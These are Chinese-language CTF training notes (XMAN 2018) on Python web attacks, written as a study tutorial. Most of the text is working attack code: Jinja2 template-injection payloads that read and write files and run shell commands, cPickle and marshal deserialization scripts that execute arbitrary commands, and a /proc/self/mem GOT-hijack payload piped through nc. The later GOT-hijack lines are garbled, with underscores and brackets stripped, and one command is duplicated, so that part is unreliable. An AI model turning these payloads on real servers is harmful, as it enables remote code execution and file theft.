1. 程式人生 > >CTF-web xman-2018 第八天 web 模板注入 序列化執行

CTF-web xman-2018 第八天 web 模板注入 序列化執行

 

 

python程式碼審計

php包容性更大的語言,針對web,簡單一些所以大家用這個

python出現後,更加的中性一些,有更多的庫,以其為技術基礎的東西也很多,比如flask模板等。

企業中java多,但是不適合初學者,呼叫棧特別多,反序列化,表示式執行。

 

對於沒遇到過的題目,要會收集資訊,百度不行還是用谷歌。

學會用英文搜尋,而且新很多,谷歌的高階技巧(定向搜尋,原始碼搜)

 

直接命令注入

對於可以直接執行cmd或者指令碼命令的,cmd我們可以|並行管道執行

指令碼的則可以閉合然後寫入新的命令。

模板注入

對於伺服器模板注入,我們需要先看是py2,3,然後根據下面可以使用的類搜尋和執行的方法得到檔案或者目錄。

如果被過濾關鍵詞,我們可以採用一些繞過方法

如果類被刪除等我們通過fuzz看到開了什麼,有原始碼的話就不需要了,一般用到的關鍵字意義如下

常見 payload

# 讀檔案

    ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

# 寫檔案

    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# 執行任意命令

    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

否則的話需要我們一步一步測試

從基類開始,再看子類,測試出被ban的是什麼。

 

如果我們的函式被刪除了

我們可以重新載入一下

限制的話就可以再次刪除reload

 

劫持got表

write修改got表 實際上是一個/proc/self/mem的記憶體操作方法 /proc/self/mem是記憶體映象,能夠通過它來讀寫到程序的所有記憶體,包括可執

行程式碼,如果我們能獲取到Python一些函式的偏移,如system,我們就能通過 想做pwn題的劫持got表做我們任意想做的事情

Return to libc

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or().__class__.__bases__[0].__subclasses__()[40]('c'+'at

/home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[

40]('/proc/self/mem', 'w', 0))

第一個地址是system的偏移,第二個是fopen的偏移,我們可以通過objdump獲取相關資訊

 

 

格式化字串問題

 

序列化問題

大概的意思就是我們輸入的資訊可以被當做命令執行,但是需要進行序列化,因為漏洞是發生在發序列化時。

例如pickle序列化漏洞,允許任意物件去定義一個__reduce__方法來申明怎麼序列化這個物件,即有限執行這個方法。那麼我們可以在傳入的payload中定義這個方法,方法中附帶上我們的字串,就可以執行我們字串的功能

#!/usr/bin/env python
#coding: utf-8
import cPickle
import os
class genpoc(object):
    def __reduce__(self):
        s = """echo moxiaoxi> poc.txt"""  #要執行的命令
        return os.system, (s,)        #os.system("echo moxiaoxi >poc.txt")
e = genpoc()   //獲取python物件  裡面包含reduce方法,方法裡寫上我們的命令
poc = cPickle.dumps(e)  //將python物件序列化儲存到本地的檔案
print poc

# www.a.com/index.php?payload=xxxxxxxxxxxx
# 原理: 我們提交序列化的引數,那麼伺服器會進行解碼
# 發現存在自定義解碼方法reduce 執行reduce 執行我們的命令

這是第一個方法,只可以執行system命令,我們還可以執行任意命令

# !/usr/bin/env python
# -*- coding:utf-8 -*-
import marshal
import base64
import cPickle
import urllib

def foo():#這是我們傳上去的命令,寫在下面
    import os
    def fib(n):     # 自己定義的函式
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#嘗試使用cPickle來序列號程式碼物件
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized


#為了保證code_serialized中的內容得到執行,我們需要如下程式碼
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()

payload =  """ctypes
FunctionType      # 類似於 import system
(cmarshal
loads       
(cbase64
b64decode      # 解碼
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))  # 編碼的命令 我們的命令在foo中 自帶func_code為獲取其中程式碼

print "------------------------------------------------" #編碼和傳送
print payload
fp =open("poc.pickle","w")    
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)

大師傅小例題

ping執行

 

例題2

模板注入,同沙箱逃逸中的知識點,{{}}中的會當做命令執行,我們需要採用自帶的模組和基類呼叫我們需要的函式,輸入引數等。

繞過的時候可以採用引數和cookie,拼接等形式。

注意是python2還是python3 不同形式的,python3中可能不存在一些庫

python3 

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍歷基類 找到eval函式
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //匯入cmd 執行popen裡的命令 read讀出資料
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}


//然後cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
//我們可以改裡面的命令
//直接ls就能看到 否則的話find搜尋 
 基本格式:find path expression

 1.按照檔名查詢

 (1)find / -name httpd.conf  #在根目錄下查詢檔案httpd.conf,表示在整個硬碟查詢
 (2)find /etc -name httpd.conf  #在/etc目錄下檔案httpd.conf

find 搜尋目錄 -type d
查詢某個目錄下的所有目錄
find /tmp -type d

find 搜尋目錄 -cmin -時間(單位分鐘)
查詢etc下面1小時內被修改的檔案,根目錄下面太多了,指定一個目錄
find /etc -cmin -60

find 搜尋目錄 -size 檔案大小
這裡的檔案大小我們常見的有點不一樣,這個大小是資料庫,一個數據庫等於512個位元組,也就是0.5KB,所有1KB等於2個數據塊
下面我們查詢下大於100MB的檔案,應該實際是102400KB*2,所有搜尋命令為
find / -size +204800
-號是小於
直接寫數字就是等於

 

 

python2

兩對{}包裹的會被當做命令執行,我們可以來讀取檔案等

http://202.112.51.130:9009/?name={{9-3}}
        會返回6 則可以執行

我們在使用的時候,上邊的py3的程式碼也可以用。

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd
').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').w
rite("") }}

 

大師傅例題3

Return to libc 

write修改got表

實際上是一個/proc/self/mem的記憶體操作方法,/proc/self/mem是記憶體映象,能夠通過它來讀寫到程序的所有記憶體,包括可執

行程式碼,如果我們能獲取到Python一些函式的偏移,如system,我們就能通過想做pwn題的劫持got表做我們任意想做的事情

    連線先 nc 202.112.130 8000

先使用read函式讀取 檔案,因為一些東西被過濾了,我們需要換一種寫法

[(r.read())for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]

那麼這個讀取檔案是可以使用的,那麼我們可以獲得

#coding:utf-8
from pwn import *  

def test(payload):
    conn = remote('202.112.51.130 ', 8010)   //建立連線
    
    # context.log_level='debug'
    conn.recv()
    conn.sendline(payload)  //傳送payload
    # data = conn.recvuntil('/bin/rbash')
    conn.recv()
    data = conn.recv()   //第一條獲取的誤用 第二次獲取
    print data  
    # conn.interactive()
    return data

payload ="""[r.read()for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]"""
print test(payload)

如此我們得到了讀取的檔案,我們可以看到地址,然後就進行地址的檢視(自己用工具)

找到之後,我們劫持got表如下

echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687

getflag

echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687

 

例題4 任意命令執行

看來我們可以輸入Payload引數,那邊會輸出我們的字串, 測試一下發現時payload小寫的

那麼使用課上講的任意程式碼執行的序列化指令碼,foo()內容先system('ls');  然後cat就可以

def foo():#you should write your code in this function    
    import os    
    #rerurn os.popen('ls').read()       
    return os.popen('cat flag').read()  

# 這兩次就得到了flag
# 先得到目錄 發現flag 直接cat讀取